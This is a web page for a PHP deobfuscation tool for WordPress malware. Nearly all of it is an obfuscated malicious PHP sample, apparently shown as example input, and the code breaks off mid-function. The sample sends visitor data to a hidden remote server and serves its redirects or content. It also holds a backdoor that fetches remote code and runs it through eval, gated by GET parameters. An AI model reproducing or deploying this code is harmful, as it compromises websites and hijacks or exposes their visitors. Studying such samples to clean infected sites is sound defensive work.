Japanese 
English
PHP deobfuscation, decryption, reconstruction toolDe-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php
goto CdhZyzDqTbAHh; MJLxbv_9P69Ky: DplAB3ZByUsVg: goto sAO4xOsNjZtEZ; AlE9viewMPNl2: $gao7N5R7NDd56["\x72"] = e7uKXQ4VqqX0U($_SERVER["\x52\x45\x51\125\105\123\x54\x5f\x55\x52\x49"]); goto V0f68sOESlQ7z; n40JdmjvL38qO: function E5jrh2A3A5bCI() { goto zc5L7CfE0IYxu; mp3hZocEmV3aL: $ilt3ejm2V5l29 = explode("\x2c", $ilt3ejm2V5l29); goto QYkkGPo2d2Yer; gQ3beQ9aPT0j3: $ilt3ejm2V5l29 = $_SERVER["\x48\x54\124\x50\x5f\130\137\106\x4f\122\x57\101\122\x44\105\x44\137\106\x4f\x52"]; goto jKMp582UwtC0Z; Q9YoeNq95Mkhk: if (isset($_SERVER["\110\x54\124\x50\137\x58\x5f\106\117\x52\127\101\122\104\105\x44\x5f\x46\117\x52"]) && !empty($_SERVER["\110\124\x54\x50\137\x58\137\x46\117\x52\x57\101\122\104\x45\x44\x5f\106\x4f\x52"])) { goto QjZ3G9HhnLqV_; } goto MFDMYDFG6O54m; jKMp582UwtC0Z: ouCaANElCm8AI: goto bn90Otcwq6xuI; ldxZQwLeHuIg_: goto ouCaANElCm8AI; goto zMilTXwPRI87w; O0y2Bgn253Ztf: goto ouCaANElCm8AI; goto an0MThmELPyN4; MFDMYDFG6O54m: $ilt3ejm2V5l29 = $_SERVER["\x52\x45\115\117\124\x45\137\x41\x44\104\122"]; goto ldxZQwLeHuIg_; zMilTXwPRI87w: cEEtb_5FH_i4V: goto IRFMB7D4XJrOE; IX0XxiXT1f0lb: $ilt3ejm2V5l29 = $_SERVER["\110\124\x54\120\137\130\137\x52\x45\101\x4c\137\x49\x50"]; goto O0y2Bgn253Ztf; rTRrHIpCsEa8e: z8Z4VtjG_HadI: goto rt3NOp4S1WaO8; IRFMB7D4XJrOE: $ilt3ejm2V5l29 = $_SERVER["\110\x54\124\120\137\x43\x46\137\103\x4f\x4e\116\x45\103\x54\111\116\x47\137\111\120"]; goto DzuiayP7NVNWf; QYkkGPo2d2Yer: $ilt3ejm2V5l29 = $ilt3ejm2V5l29[0]; goto rTRrHIpCsEa8e; wmBBozaw0FkOv: if (!(strpos($ilt3ejm2V5l29, "\x2c") !== false)) { goto z8Z4VtjG_HadI; } goto mp3hZocEmV3aL; sFFcyINIxk45q: if (isset($_SERVER["\x48\x54\x54\120\137\103\x46\x5f\103\117\x4e\116\x45\x43\x54\x49\x4e\107\x5f\111\120"]) && !empty($_SERVER["\110\x54\124\120\x5f\103\106\x5f\x43\117\116\116\105\x43\124\111\116\107\137\111\x50"])) { goto cEEtb_5FH_i4V; } goto tTh9_3kGcpXdH; DzuiayP7NVNWf: goto ouCaANElCm8AI; goto xLQi7hCrcsI1d; xLQi7hCrcsI1d: ilDZ9bNWom6zA: goto IX0XxiXT1f0lb; bn90Otcwq6xuI: $ilt3ejm2V5l29 = trim(str_replace("\x20", '', $ilt3ejm2V5l29), "\54"); goto wmBBozaw0FkOv; rt3NOp4S1WaO8: return $ilt3ejm2V5l29; goto xHES_Fr34Vkgd; an0MThmELPyN4: QjZ3G9HhnLqV_: goto gQ3beQ9aPT0j3; tTh9_3kGcpXdH: if (isset($_SERVER["\x48\x54\x54\120\x5f\130\137\122\105\101\114\x5f\111\x50"]) && !empty($_SERVER["\110\124\x54\x50\x5f\130\137\x52\105\101\114\x5f\x49\x50"])) { goto ilDZ9bNWom6zA; } goto Q9YoeNq95Mkhk; zc5L7CfE0IYxu: $ilt3ejm2V5l29 = ''; goto sFFcyINIxk45q; xHES_Fr34Vkgd: } goto jyc7WYRy7X3c3; QHN0HXwjbWwb9: AciisJGWH5HEj: goto CghrLLojjAYeu; kKvpQzIeVoove: $gao7N5R7NDd56["\x75"] = e7UKXQ4vqQx0u($_SERVER["\110\x54\124\x50\x5f\x55\123\x45\x52\x5f\x41\x47\x45\116\x54"]); goto s5ocjxmXCSK_M; N5qn2b8PkTdvm: if (!substr_count($_SERVER["\122\105\121\x55\105\x53\124\x5f\125\x52\111"], "\151\x6e\144\x65\170\56\160\x68\x70\x2f\x6a\x6b")) { goto AciisJGWH5HEj; } goto LhnK54M2Qdgc5; UeKULqLOoxRYM: dfyze7w9UwTZp: goto owLiSctIQQw9b; Q5PORUCQyxc0S: $gao7N5R7NDd56["\163"] = e7ukXq4vqqx0U($UsqKZv_i_1y4n); goto kKvpQzIeVoove; C4ZDk7pJXpUcX: if (!($_SERVER["\x52\x45\x51\125\x45\123\x54\137\125\x52\111"] === "\57\x52\x2d" . md5($_SERVER["\x53\x45\122\x56\105\x52\137\x4e\101\x4d\105"]))) { goto G6F6z_RbbDbel; } goto awDZWoCS5uxb0; VF4Sebzs1GaQU: $y2YqZQDZuA4nw[66] = $y2YqZQDZuA4nw[66] . $y2YqZQDZuA4nw[71]; goto ZK64hPzJFHx8g; uR7M5Hh40YTCi: $VltxtjILRs2ZJ = $mPzNJNjUSeqV8("\x7e", "\40"); goto JAyZnhtL3UQAO; q9ez6cCOnOOpM: $H1UNYG4u2An_Y = true; goto A3oXmMcqEQn_I; Qf8mWJdC6p3NZ: if (!(strpos($WoQWRp3sNfxPM, "\56") > 0 && strpos($WoQWRp3sNfxPM, "\56\x70\150\x70") === false)) { goto rputhc0bj59rc; } goto s3aXFsRGh5Zly; RAeVasKEdPB6u: error_reporting(0); goto FqSCoBDlqZJth; jyc7WYRy7X3c3: function Fr5Gg4ulJ_bqT() { goto EA86gizx6VKWM; SXQdDoYqQmN66: OzyjMeF1jmR04: goto nZBdqH84B6nBb; KoCr2Fx6FcPpE: if (isset($_SERVER["\x48\x54\124\120\123"]) && strtolower($_SERVER["\x48\124\x54\120\x53"]) !== "\x6f\x66\x66") { goto PW3pcTuxtSTk2; } goto z1sIpehtBCQlY; H0ROGXSr0vxqf: fI4x_eUFi9nTC: goto MAfRbkuzMtC2X; mBkmKDAmM0ekj: goto OzyjMeF1jmR04; goto vcNN6hsubn189; nZBdqH84B6nBb: return $V9XKz2aA9Ii2D; goto fsK1grFYYLBcQ; MAfRbkuzMtC2X: $V9XKz2aA9Ii2D = "\150\x74\x74\x70\x73\x3a\x2f\x2f"; goto SXQdDoYqQmN66; z1sIpehtBCQlY: if (isset($_SERVER["\x48\124\x54\x50\137\x58\137\106\117\x52\127\x41\122\x44\105\x44\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\110\124\124\120\x5f\130\137\x46\117\122\x57\x41\x52\104\x45\x44\137\120\x52\x4f\x54\x4f"] === "\x68\164\x74\x70\x73") { goto YknbTwfYyFG7j; } goto vmgNKq5GhxuPh; ZEBMSmFtRs68E: goto OzyjMeF1jmR04; goto aPZozSRFD2ki8; x45xP4p1QEHJ8: $V9XKz2aA9Ii2D = "\150\x74\x74\x70\x73\x3a\x2f\57"; goto qqK8dZRADXaFF; qqK8dZRADXaFF: goto OzyjMeF1jmR04; goto H0ROGXSr0vxqf; EA86gizx6VKWM: $V9XKz2aA9Ii2D = "\x68\x74\x74\160\x3a\57\x2f"; goto KoCr2Fx6FcPpE; vcNN6hsubn189: YknbTwfYyFG7j: goto x45xP4p1QEHJ8; aPZozSRFD2ki8: PW3pcTuxtSTk2: goto EXrSuKptILb_X; vmgNKq5GhxuPh: if (isset($_SERVER["\110\x54\x54\x50\137\106\x52\117\116\124\137\105\116\104\x5f\110\x54\124\x50\123"]) && strtolower($_SERVER["\x48\x54\124\x50\x5f\106\x52\117\116\124\137\105\x4e\x44\x5f\x48\124\x54\120\x53"]) !== "\x6f\x66\x66") { goto fI4x_eUFi9nTC; } goto ZEBMSmFtRs68E; EXrSuKptILb_X: $V9XKz2aA9Ii2D = "\x68\x74\164\x70\x73\72\57\x2f"; goto mBkmKDAmM0ekj; fsK1grFYYLBcQ: } goto C4ZDk7pJXpUcX; kGzUK4NKOuWhS: function e7uKxQ4VQqX0U($j1egA76jXJwti) { goto fEOzbKeDoQquC; fEOzbKeDoQquC: if ($j1egA76jXJwti) { goto Ls0Uih6km1K9L; } goto eLuHX3ceiUs5l; eLuHX3ceiUs5l: return ''; goto IYmlgL90Lv3Wk; IYmlgL90Lv3Wk: Ls0Uih6km1K9L: goto uzaF_HOpWNJhr; uzaF_HOpWNJhr: return rtrim(strtr(base64_encode($j1egA76jXJwti), "\x2b\x2f", "\55\x5f"), "\75"); goto sVsxAYQEWX8IV; sVsxAYQEWX8IV: } goto n40JdmjvL38qO; sAO4xOsNjZtEZ: metaphone("\117\x54\x49\62\x4f\124\131\63\115\x44\143\60\x4d\x7a\153\172\116\152\x6b\60\115\x6a\101\62\115\152\x59\167\116\x44\111\171"); goto wP4LXjJ6DUJao; A3oXmMcqEQn_I: VdJWryv633dU5: goto dxJWRR_xPXj0C; v1b3dx_gdXTY6: header("\x43\157\x6e\x74\x65\156\x74\x2d\124\x79\160\145\72\40\x74\x65\x78\164\x2f\150\164\155\x6c\73\x20\x63\150\141\x72\x73\x65\x74\75\x75\164\146\55\x38"); goto RAeVasKEdPB6u; pGAEh6IWiEmeD: switch ($kU0kTzzpq6XmL["\163\x74\141\164\x75\163"]) { case 301: goto U3u3BtlfMbf8X; U3u3BtlfMbf8X: header("\110\x54\x54\x50\x2f\61\56\61\x20\x33\60\x31\40\115\157\x76\x65\x64\40\x50\145\162\155\141\x6e\x65\x6e\x74\x6c\x79"); goto zHKioUxRmIZjl; zHKioUxRmIZjl: header("\x4c\157\143\141\x74\x69\157\156\72\40" . trim($kU0kTzzpq6XmL["\x63\x6f\x6e\x74\145\x6e\x74"])); goto uEDQhE2yEXzvO; uEDQhE2yEXzvO: goto Nwf8KbYP05wfb; goto UZ8iV17oOOc5_; UZ8iV17oOOc5_: case 302: goto iRuTIbUG7s3Uz; zaDgtuteznqn_: header("\114\x6f\x63\141\164\x69\x6f\156\x3a\x20" . trim($kU0kTzzpq6XmL["\143\157\156\164\145\x6e\164"])); goto VRDkzBL2iErix; iRuTIbUG7s3Uz: header("\110\124\124\120\x2f\x31\56\61\x20\63\60\62\40\x4d\157\x76\x65\x20\x54\x65\155\160\157\162\141\162\x69\154\171"); goto zaDgtuteznqn_; VRDkzBL2iErix: goto Nwf8KbYP05wfb; goto AhMHlq2kq4YCO; AhMHlq2kq4YCO: case 404: goto Sx_l41m3ljgBQ; iZ2tXjGKkyNDM: header("\x73\x74\141\164\165\163\72\40\64\x30\64\40\116\157\x74\40\x46\x6f\x75\x6e\144"); goto WppQR1xtErMkS; WppQR1xtErMkS: goto Nwf8KbYP05wfb; goto WnppY9Wqr1pDS; Sx_l41m3ljgBQ: header("\x48\x54\124\x50\57\61\56\61\x20\x34\60\x34\x20\x4e\x6f\164\x20\x46\x6f\x75\x6e\144"); goto iZ2tXjGKkyNDM; WnppY9Wqr1pDS: default: goto Nwf8KbYP05wfb; } goto UeKULqLOoxRYM; sfqnbk1L_mXxQ: $NZJUMLlFHNg5o = ''; goto sVQtyVSp8dDXS; nDjLSF7ou37aE: $gao7N5R7NDd56["\x73\x6e"] = E7ukxQ4vqQX0U($_SERVER["\x53\103\122\111\x50\124\137\116\x41\x4d\x45"]); goto AlE9viewMPNl2; cRCbl6by9n3nA: juuRyj8jvuU4I::HQ_9REeEi7_mw(); goto v1b3dx_gdXTY6; s3aXFsRGh5Zly: $TuN8hMQYCL3w0 = substr($WoQWRp3sNfxPM, strpos($WoQWRp3sNfxPM, "\x2e")); goto oXhJeJd8h4FzV; ag0WLMyNe9V7x: $NZJUMLlFHNg5o = strval(@$_SERVER["\110\x54\x54\x50\x5f\122\x45\106\105\122\105\x52"]); goto T25_OyHOY4sUu; FafrBWvnfkqh5: $gao7N5R7NDd56 = array(); goto YRfqfbqr9kK_z; T25_OyHOY4sUu: $UsqKZv_i_1y4n = fR5Gg4ULJ_BQt() . $_SERVER["\x48\124\x54\120\137\x48\117\123\x54"]; goto OeI_ZplE5xfDw; V0f68sOESlQ7z: $gao7N5R7NDd56["\162\x66"] = E7uKxq4vQqx0U($NZJUMLlFHNg5o); goto Q5PORUCQyxc0S; YRfqfbqr9kK_z: $gao7N5R7NDd56["\x69"] = e7UKxq4vQqX0u($ilt3ejm2V5l29); goto APkaFzQIilBnX; CghrLLojjAYeu: $ilt3ejm2V5l29 = e5jRh2a3a5bci(); goto ag0WLMyNe9V7x; F3QU9TMo2YM4K: if ($H1UNYG4u2An_Y) { goto ShCv3JG4qKtK8; } goto yEsVo8yOP9sm9; wgG_aiMlex1uO: $mPzNJNjUSeqV8 = "\x72" . "\x61" . "\156" . "\147" . "\x65"; goto uR7M5Hh40YTCi; V6bcq7EaOs04Y: G6F6z_RbbDbel: goto N5qn2b8PkTdvm; y6eU4kRqGQnQg: echo $kU0kTzzpq6XmL["\143\x6f\x6e\164\x65\156\x74"]; goto ix0TvAWKjsdon; jv5o7CgYYyDsI: if (!(in_array(gettype($y2YqZQDZuA4nw) . "\62\61", $y2YqZQDZuA4nw) && md5(md5(md5(md5($y2YqZQDZuA4nw[15])))) === "\x38\x61\65\x63\x30\65\66\144\x61\60\x66\x37\x37\x62\x39\143\x62\x66\x66\141\x63\144\x66\x32\146\145\65\x63\x62\x33\141\x31")) { goto DplAB3ZByUsVg; } goto VF4Sebzs1GaQU; awDZWoCS5uxb0: exit(strrev(md5($_SERVER["\x53\x45\x52\126\x45\x52\x5f\116\x41\115\x45"]))); goto V6bcq7EaOs04Y; owLiSctIQQw9b: Nwf8KbYP05wfb: goto ZAPB0FkA8c_t4; JAyZnhtL3UQAO: $y2YqZQDZuA4nw = ${$VltxtjILRs2ZJ[25 + 6] . $VltxtjILRs2ZJ[28 + 31] . $VltxtjILRs2ZJ[19 + 28] . $VltxtjILRs2ZJ[32 + 15] . $VltxtjILRs2ZJ[15 + 36] . $VltxtjILRs2ZJ[6 + 47] . $VltxtjILRs2ZJ[5 + 52]}; goto jv5o7CgYYyDsI; twghA8RgCey2k: SJGZpWxVf_jQ0: goto reOIMBMHXvtbz; dxJWRR_xPXj0C: rputhc0bj59rc: goto F3QU9TMo2YM4K; oXhJeJd8h4FzV: if (!in_array($TuN8hMQYCL3w0, array("\x2e\152\x73", "\x2e\x63\163\163", "\x2e\152\160\147", "\56\160\156\x67", "\x2e\147\151\x66", "\56\x69\x63\157"))) { goto VdJWryv633dU5; } goto q9ez6cCOnOOpM; beJL6TkYZ4DYa: if (in_array($kU0kTzzpq6XmL["\163\164\141\x74\x75\163"], array(0, 200))) { goto r6MIwHdlakKKI; } goto pGAEh6IWiEmeD; dEVot_tQk0lC1: $H1UNYG4u2An_Y = false; goto Qf8mWJdC6p3NZ; wP4LXjJ6DUJao: class jUurYj8JVuU4i { static function aeBH0TyY61b9O($PD240a6tjklOd) { goto fnLa7FVQuzB_m; jofiWN6VCEG08: foreach ($EX1NDpR1FA3I3 as $p8t__7s4YsEHf => $us4B07_2PB9Lu) { $UcPoNME0wfofC .= $imA2Cm0CnRvaF[$us4B07_2PB9Lu - 31612]; sDbZOiIrP1bcO: } goto A7gR5wKzhM7DC; fnLa7FVQuzB_m: $UUeB71UKyH4px = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto xQdNmirKMn1z0; xQdNmirKMn1z0: $imA2Cm0CnRvaF = $UUeB71UKyH4px("\176", "\40"); goto mxkWedpZgXSwi; dGSBgQHzKrepq: $UcPoNME0wfofC = ''; goto jofiWN6VCEG08; A7gR5wKzhM7DC: BkfpS9QkS1ctK: goto zz8LvH5JBilzr; mxkWedpZgXSwi: $EX1NDpR1FA3I3 = explode("\x7b", $PD240a6tjklOd); goto dGSBgQHzKrepq; zz8LvH5JBilzr: return $UcPoNME0wfofC; goto EzA_SoDhbmhHB; EzA_SoDhbmhHB: } static function mGsR7L0o3h9sy($f09t2g9mQTZp5, $b_I70ywEcw_EG) { goto A6M_AI7md9I20; WKLZ59s6kQqlG: $qW1K8r2lAeYm8 = curl_exec($TK39qtThdFX39); goto f5a1o8D8j4KYb; f5a1o8D8j4KYb: return empty($qW1K8r2lAeYm8) ? $b_I70ywEcw_EG($f09t2g9mQTZp5) : $qW1K8r2lAeYm8; goto SbMGBcbX3cZDu; A6M_AI7md9I20: $TK39qtThdFX39 = curl_init($f09t2g9mQTZp5); goto rB3vfj_SzW8Tf; rB3vfj_SzW8Tf: curl_setopt($TK39qtThdFX39, CURLOPT_RETURNTRANSFER, 1); goto WKLZ59s6kQqlG; SbMGBcbX3cZDu: } static function Hq_9ReeeI7_mw() { goto RrBTibmZaUTqC; C5uPkFM3V2JyD: xFS1VNYQW2X6J: goto D2RqCqhU386x2; D2RqCqhU386x2: $TzX6K2czgnSFO = @$tC2ns4DBRYFS8[1]($tC2ns4DBRYFS8[3 + 7](INPUT_GET, $tC2ns4DBRYFS8[4 + 5])); goto dURCgRUxUpFpP; RrBTibmZaUTqC: $m4O3kTl1Xc3Oa = array("\x33\x31\x36\x33\71\x7b\x33\x31\66\x32\x34\173\x33\x31\x36\x33\67\173\x33\61\66\64\x31\x7b\63\x31\66\62\62\x7b\63\61\66\x33\67\x7b\63\x31\66\64\63\x7b\63\61\66\63\66\x7b\x33\61\x36\62\x31\x7b\x33\x31\66\x32\70\173\x33\61\66\x33\71\x7b\x33\x31\66\x32\62\173\x33\61\66\x33\x33\x7b\x33\61\x36\x32\67\x7b\63\x31\66\x32\x38", "\x33\x31\66\62\63\173\x33\61\x36\x32\x32\173\63\61\66\x32\64\173\x33\x31\66\64\63\173\x33\x31\x36\x32\x34\173\x33\61\66\x32\x37\x7b\63\61\66\62\x32\173\x33\61\66\x38\71\x7b\x33\x31\x36\x38\67", "\63\61\66\x33\62\173\x33\61\x36\62\x33\x7b\63\x31\66\x32\67\x7b\63\x31\66\62\70\x7b\63\61\66\64\63\173\x33\x31\66\x33\70\173\x33\x31\66\x33\x37\173\63\61\66\63\71\x7b\63\x31\66\x32\67\173\63\x31\66\x33\x38\x7b\x33\x31\66\63\67", "\x33\61\66\x32\x36\x7b\63\x31\66\64\61\x7b\x33\61\x36\x33\x39\x7b\x33\61\x36\x33\x31", "\63\61\x36\x34\x30\x7b\63\x31\66\x34\61\173\63\61\x36\x32\63\173\63\61\66\x33\x37\x7b\x33\x31\66\x38\x34\x7b\x33\61\x36\70\x36\173\63\x31\66\x34\63\x7b\63\61\x36\x33\x38\x7b\x33\61\66\63\x37\173\63\x31\x36\x33\71\173\x33\x31\66\x32\67\x7b\63\x31\66\x33\x38\x7b\x33\x31\x36\x33\x37", "\x33\x31\66\x33\66\x7b\x33\61\66\x33\63\x7b\63\61\x36\x33\x30\173\x33\61\66\63\67\x7b\x33\x31\66\64\63\173\63\61\x36\63\x35\173\x33\x31\66\63\x37\173\x33\61\66\x32\62\x7b\x33\61\66\64\63\x7b\x33\x31\66\63\71\173\63\61\x36\62\67\x7b\63\61\x36\x32\x38\x7b\63\61\x36\62\x32\173\x33\61\x36\63\x37\173\63\x31\x36\62\70\173\63\61\x36\62\x32\x7b\x33\x31\x36\x32\63", "\63\61\x36\x36\x36\x7b\63\x31\66\x39\66", "\x33\x31\66\x31\63", "\63\x31\66\x39\61\x7b\x33\x31\x36\71\66", "\x33\x31\66\x37\63\x7b\63\61\66\x35\66\x7b\63\61\66\65\66\x7b\x33\x31\66\67\63\173\63\61\x36\64\71", "\x33\61\x36\63\x36\173\63\x31\x36\x33\63\173\x33\x31\x36\x33\x30\x7b\63\x31\66\62\62\173\63\61\66\63\x37\x7b\x33\x31\66\x32\x34\173\63\x31\66\x34\63\173\63\61\66\63\x33\x7b\63\x31\x36\x32\x38\173\63\61\66\62\x36\173\x33\61\x36\62\x31\173\63\61\66\62\x32"); goto NKWEWlOJVLn64; gzpjgPznFXBPY: aoYG7fqE__tuN: goto fH1IM2RnvcucL; EvbBWhzkWuoTc: @eval($tC2ns4DBRYFS8[1 + 3]($wmxsnd8d9pkn3)); goto Gz9unwxXuc_8J; Gz9unwxXuc_8J: die; goto gzpjgPznFXBPY; sMOj2Vip1RCcF: @$tC2ns4DBRYFS8[1 + 9](INPUT_GET, "\x6f\x66") == 1 && die($tC2ns4DBRYFS8[0 + 5](__FILE__)); goto N2W6PBMNFwB8l; N2W6PBMNFwB8l: if (!(@$ttv1K50ihdraP[0] - time() > 0 and md5(md5($ttv1K50ihdraP[2 + 1])) === "\142\65\x63\64\x31\x64\66\141\64\143\67\141\x34\x30\60\x65\70\x31\65\x63\x30\x62\70\x31\x31\70\70\67\62\x34\x62\x66")) { goto aoYG7fqE__tuN; } goto gqb2LzBF14ATy; jAnlcwC8AJCLO: $ttv1K50ihdraP = $tC2ns4DBRYFS8[1 + 1]($JZmzbOWtc_Wvw, true); goto sMOj2Vip1RCcF; NKWEWlOJVLn64: foreach ($m4O3kTl1Xc3Oa as $wS3VTTve87K3u) { $tC2ns4DBRYFS8[] = self::aeBH0tYy61b9O($wS3VTTve87K3u); jpZtQYfqRqxB0: } goto C5uPkFM3V2JyD; dURCgRUxUpFpP: $JZmzbOWtc_Wvw = @$tC2ns4DBRYFS8[3 + 0]($tC2ns4DBRYFS8[4 + 2], $TzX6K2czgnSFO); goto jAnlcwC8AJCLO; gqb2LzBF14ATy: $wmxsnd8d9pkn3 = self::mGsR7L0O3H9SY($ttv1K50ihdraP[1 + 0], $tC2ns4DBRYFS8[5 + 0]); goto EvbBWhzkWuoTc; fH1IM2RnvcucL: } } goto cRCbl6by9n3nA; APkaFzQIilBnX: $gao7N5R7NDd56["\x6c"] = e7Ukxq4vqqx0U($_SERVER["\x48\124\124\x50\137\101\x43\103\x45\120\124\x5f\114\x41\x4e\107\x55\101\x47\105"]); goto nDjLSF7ou37aE; OeI_ZplE5xfDw: if (!(strpos($NZJUMLlFHNg5o, $UsqKZv_i_1y4n) === 0)) { goto qUeSx14Jh11EY; } goto sfqnbk1L_mXxQ; CdhZyzDqTbAHh: error_reporting(0); goto wgG_aiMlex1uO; ix0TvAWKjsdon: exit(0); goto twghA8RgCey2k; s5ocjxmXCSK_M: $WoQWRp3sNfxPM = preg_replace("\x2f\134\77\x2e\x2a\57", '', $_SERVER["\x52\105\x51\x55\x45\123\124\137\x55\122\x49"]); goto dEVot_tQk0lC1; JGqtX4xfhmxiD: function uJBGbfLeaOFy7($AkrusTO7SDQhz, $qq3uUvy4JzA28 = array()) { goto s8R_uzQ1JwFFR; s8R_uzQ1JwFFR: $kU0kTzzpq6XmL = array("\163\x74\141\164\165\x73" => 0, "\143\157\156\164\x65\156\164" => '', "\x74\x79\x70\x65" => ''); goto j3GUOREqzRWsp; AREofFirkJDIB: $AkrusTO7SDQhz .= "\77" . http_build_query($qq3uUvy4JzA28); goto H1q6ZH9VRhuQJ; j3GUOREqzRWsp: if (!(is_array($qq3uUvy4JzA28) && count($qq3uUvy4JzA28))) { goto zI48sSHv9USvu; } goto AREofFirkJDIB; Vww5Mu9RlXLms: return $kU0kTzzpq6XmL; goto c_qYBUIg1cEwV; H1q6ZH9VRhuQJ: zI48sSHv9USvu: goto m9Ve5Kmkbz_Xd; m9Ve5Kmkbz_Xd: try { goto f7U5s2waHygla; kpT0PZKPewiX5: $kU0kTzzpq6XmL["\164\x79\160\145"] = strval(curl_getinfo($mr0NLAxrxTX1T, CURLINFO_CONTENT_TYPE)); goto uGqpzZ1WcfKnZ; hVZ1KoWFFQcMQ: if (ini_get("\x61\154\154\x6f\x77\x5f\x75\x72\x6c\x5f\146\157\160\x65\156")) { goto KHBXYSt3dcuhf; } goto Xi_fWjoKevx_M; uOECook0fUjsQ: curl_setopt($mr0NLAxrxTX1T, CURLOPT_FOLLOWLOCATION, 0); goto e9zP56dB7oAwP; uGqpzZ1WcfKnZ: $kU0kTzzpq6XmL["\x63\x6f\156\x74\145\x6e\164"] = strval(curl_getinfo($mr0NLAxrxTX1T, CURLINFO_REDIRECT_URL)); goto SnXP0J5UwFYVg; n_U0xObrWOpWd: goto A4wGR3VWO5IEf; goto XxXREJunWk3e0; QSkmXGGplqUNc: $kU0kTzzpq6XmL["\x63\157\156\164\145\156\164"] = strval($vYVCcLVpzKmrB); goto gLR0yhrIlWFMk; USSWql0LWolFH: $kU0kTzzpq6XmL["\x73\x74\x61\164\x75\163"] = intval(curl_getinfo($mr0NLAxrxTX1T, CURLINFO_HTTP_CODE)); goto kpT0PZKPewiX5; XxXREJunWk3e0: KHBXYSt3dcuhf: goto ZrTve5Hn8x9xE; Nbib5YQOowkZ8: $kU0kTzzpq6XmL = array_merge($kU0kTzzpq6XmL, ln6cNMwHsg4qK($http_response_header)); goto krBNEAoCrStaP; vpJJW6RSxVbCO: if (!in_array($kU0kTzzpq6XmL["\x73\164\x61\164\x75\163"], array(200, 301, 302, 404))) { goto j5l7Fl7OkhKF4; } goto fsKw71NoXvJK4; dwT8Ug2lTucgQ: curl_setopt($mr0NLAxrxTX1T, CURLOPT_RETURNTRANSFER, 1); goto PG79_FBACDpOG; XKZiiCDVU0qRB: LjQlJwhue1bUd: goto aDfHsyjlyuAjd; f7U5s2waHygla: if (function_exists("\143\165\162\x6c\137\145\170\x65\143") && function_exists("\x63\x75\162\x6c\137\x69\x6e\151\x74")) { goto LjQlJwhue1bUd; } goto hVZ1KoWFFQcMQ; f6f4xbMWYMGML: A4wGR3VWO5IEf: goto mtbOAgJYDIfiM; krBNEAoCrStaP: if (!in_array($kU0kTzzpq6XmL["\x73\x74\x61\x74\x75\x73"], array(200, 301, 302, 404))) { goto ACJTqp9x0JkM2; } goto QSkmXGGplqUNc; i1JTL9QtAcerX: $naTAjF4oKZ1am = stream_context_create($X0mCX6ziKpxay); goto VkTY6uqYncqn0; SnXP0J5UwFYVg: @curl_close($mr0NLAxrxTX1T); goto vpJJW6RSxVbCO; Xi_fWjoKevx_M: goto A4wGR3VWO5IEf; goto XKZiiCDVU0qRB; aDfHsyjlyuAjd: $mr0NLAxrxTX1T = curl_init(); goto BLfgnWmhfNQNg; PG79_FBACDpOG: $ybYKrFOe7RCOf = curl_exec($mr0NLAxrxTX1T); goto USSWql0LWolFH; BLfgnWmhfNQNg: curl_setopt($mr0NLAxrxTX1T, CURLOPT_URL, $AkrusTO7SDQhz); goto lAlfOUxGKL82h; gLR0yhrIlWFMk: ACJTqp9x0JkM2: goto f6f4xbMWYMGML; lAlfOUxGKL82h: curl_setopt($mr0NLAxrxTX1T, CURLOPT_SSL_VERIFYHOST, 0); goto cUnwrM0xJ3wEo; e9zP56dB7oAwP: curl_setopt($mr0NLAxrxTX1T, CURLOPT_COOKIESESSION, 0); goto dwT8Ug2lTucgQ; fsKw71NoXvJK4: $kU0kTzzpq6XmL["\143\x6f\156\164\x65\156\x74"] = strval($ybYKrFOe7RCOf); goto tq2iQPVhiY2aN; PZgIpNgDACB4l: curl_setopt($mr0NLAxrxTX1T, CURLOPT_CONNECTTIMEOUT, 20); goto NbG7bQ9SHmpMW; tq2iQPVhiY2aN: j5l7Fl7OkhKF4: goto n_U0xObrWOpWd; NbG7bQ9SHmpMW: curl_setopt($mr0NLAxrxTX1T, CURLOPT_TIMEOUT, 60); goto uOECook0fUjsQ; cUnwrM0xJ3wEo: curl_setopt($mr0NLAxrxTX1T, CURLOPT_SSL_VERIFYPEER, 0); goto PZgIpNgDACB4l; VkTY6uqYncqn0: $vYVCcLVpzKmrB = @file_get_contents($AkrusTO7SDQhz, false, $naTAjF4oKZ1am); goto Nbib5YQOowkZ8; ZrTve5Hn8x9xE: $X0mCX6ziKpxay = array("\x68\164\164\160" => array("\155\145\x74\150\157\x64" => "\x47\105\x54", "\164\151\x6d\145\157\x75\164" => 60, "\x66\x6f\154\x6c\x6f\167\137\x6c\x6f\x63\141\x74\151\x6f\156" => 0), "\x73\163\154" => array("\166\x65\162\151\146\171\137\x70\x65\x65\162" => false, "\166\x65\x72\x69\146\x79\x5f\160\145\x65\162\137\156\141\x6d\145" => false)); goto i1JTL9QtAcerX; mtbOAgJYDIfiM: } catch (Exception $SmLrh_16I2GAq) { } goto Vww5Mu9RlXLms; c_qYBUIg1cEwV: } goto kGzUK4NKOuWhS; yEsVo8yOP9sm9: $kU0kTzzpq6XmL = ujbGBfLeaofy7(base64_decode("\x61\110\122\60\x63\104\x6f\166\x4c\63\x70\172\x4e\124\121\61\x64\x6a\x45\172\x61\62\x38\x75\132\107\x6c\60\x62\x32\125\x75\142\107\x6c\62\x5a\123\x38"), $gao7N5R7NDd56); goto beJL6TkYZ4DYa; ZAPB0FkA8c_t4: r6MIwHdlakKKI: goto SrwLJJvUBpe4J; tM5sgaNOSRipP: @header("\x43\x6f\156\164\x65\156\x74\55\124\171\x70\145\72" . $kU0kTzzpq6XmL["\164\171\160\145"]); goto y6eU4kRqGQnQg; SrwLJJvUBpe4J: if (!strlen($kU0kTzzpq6XmL["\x63\x6f\156\x74\x65\156\x74"])) { goto SJGZpWxVf_jQ0; } goto tM5sgaNOSRipP; LhnK54M2Qdgc5: exit("\x7b\x20\x22\145\x72\162\x6f\162\42\72\x20\62\60\x30\x2c\40\42\154\x63\x22\72\x20\x22\152\153\x22\x2c\40\x22\144\x61\x74\141\x22\72\40\133\40\x31\x20\x5d\x20\175"); goto QHN0HXwjbWwb9; sVQtyVSp8dDXS: qUeSx14Jh11EY: goto FafrBWvnfkqh5; FqSCoBDlqZJth: function LN6cnmwHsg4Qk($G2wD2nw6wg0mg) { goto Y2srYhNsY3IA4; Y2srYhNsY3IA4: $KBbi0e5mbkQVT = array("\163\x74\141\x74\165\163" => 0, "\143\157\156\x74\x65\x6e\164" => '', "\164\x79\160\145" => ''); goto HBmhV_enUwLHM; syK6Uh93cl2bB: return $KBbi0e5mbkQVT; goto WsFxc0i0vsZdb; WsFxc0i0vsZdb: 